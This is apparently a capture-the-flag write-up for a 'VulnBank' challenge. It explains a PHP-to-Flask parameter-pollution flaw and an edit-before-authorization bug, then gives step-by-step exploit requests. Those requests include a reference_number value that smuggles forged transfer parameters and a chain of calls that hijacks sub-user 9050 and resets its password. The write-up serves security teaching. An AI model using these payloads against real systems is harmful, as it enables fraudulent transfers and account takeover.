VulnBank

Source Code

Root Cause 1

// /api/transfer.php
$data = json_decode(file_get_contents('php://input'), true);
...
$user = $controller->getUser($user_id);
$trans_controller = new TransactionController();
$data['from_account'] = $user->getAccountNumber();   // <- force sender!
echo $trans_controller->transfer($data, $user);

How the microservice reads the request

The Flask microservice listens on GET /transfer and reads all parameters from the query string:

# app.py
@app.route('/transfer', methods=['GET'])
def transfer():
    from_acc  = request.args.get('from_account')
    to_acc    = request.args.get('to_account')
    amount    = request.args.get('amount')
    reference = request.args.get('reference_number')
    ...
    result = transfer_funds(from_acc, to_acc, amount)   # 'reference' unused
    return jsonify(result)

Notice: reference_number is read but never used in the Python logic.

Where the seam appears

Somewhere between PHP and Flask, the PHP layer forwards your transfer to the Flask service by constructing a GET URL with from_account, to_account, amount, and the user-supplied reference_number.

If reference_number is concatenated into the query string without strict encoding, then putting &key=value inside reference_number will create new real query parameters downstream. The Flask app can’t tell which parameters came from PHP vs. which were smuggled inside reference_number.

Root Cause 2

The app has a premium-only “sub-user” feature. Endpoints verify “premium” but don’t reliably verify ownership of the sub-user before mutating it.

// /api/createSubUser.php
if ($user->getIsPremium()===0) { http_response_code(403); die("Forbidden"); }
$controller->createSubUser($data,$user);

So, only premium users may create sub-users.

Edit endpoint

// UsersService.php
public function editSubUser($id, $name, $OwnerId) {
    UsersRepository::editSubUser($id, $name);               // 1) CHANGE FIRST
    return UsersRepository::EnsureEditUserAuthority($id,$OwnerId); // 2) THEN CHECK
}

That line order is the bug: it edits first, then checks whether you were allowed. Even if EnsureEditUserAuthority returns false, the change already happened. That’s a TOCTTOU ( Time-of-check to time-of-use)/order-of-operations authZ bug.

Password change endpoint: missing ownership check

// UsersService.php
public function changeSubUserPassword($email, $newPass) {
    $newPass = md5($newPass);
    return UsersRepository::changeSubUserPassword($email, $newPass);
}

There’s no owner check here at all. As long as you’re “premium” (checked in /api/changeuserpassword.php), you can target arbitrary sub-user identities.

Exploitation step

1- Abuse inter-service param pollution to get rich

Make PHP carry your forged params to Flask by hiding them in reference_number:

POST /api/transfer.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>

{
  "to_account":"38772194",
  "amount":"1",
  "reference_number":"x&from_account=1&to_account=<account_number>&amount=20000000"
}
  • PHP will still set data['from_account'] to your real account. That’s fine.

  • But the URL to the microservice now contains your extra &from_account=1&to_account=<account_number>&amount=20000000.

  • Flask reads those and happily executes the big transfer.

After a successful transfer, the PHP service calls checkPremium on both accounts; if balance > 10,000,000 it flips a user to premium. So your windfall instantly unlocks “premium-only” features.

2- Create any sub-user

POST /api/createSubUser.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>

{"name":"admin","email":"admin@test.com","password":"admin"}

3- Edit the target sub-user by ID

POST /api/EditSubUser.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>

{"id":9050,"newName":"test"}

Write lands before “ensure authority,” so the change applies regardless.

  • We used id: 9050 because that’s the pre-seeded privileged sub-user we needed to hijack.

  • newName: "test" is arbitrary. The point isn’t the value; it’s to hit the “edit first, authorize later” bug so the write lands regardless of ownership. Any string would trigger the flawed flow.

  • We'll then find the edited account with id: 9050 visible to us, and we can change its password

4- Change that sub-user’s password

POST /api/changeuserpassword.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>

{"id":9050,"newPassword":"test"}

Controller “checks” ownership by ID then calls the service with parameters that don’t line up; the service hashes with md5 and updates. On the instance, this succeeded.

5- Login using the sub-user

Now using the Email and the password we just changed we can login as the subuser and find the flag in the Name field

Last updated

Was this helpful?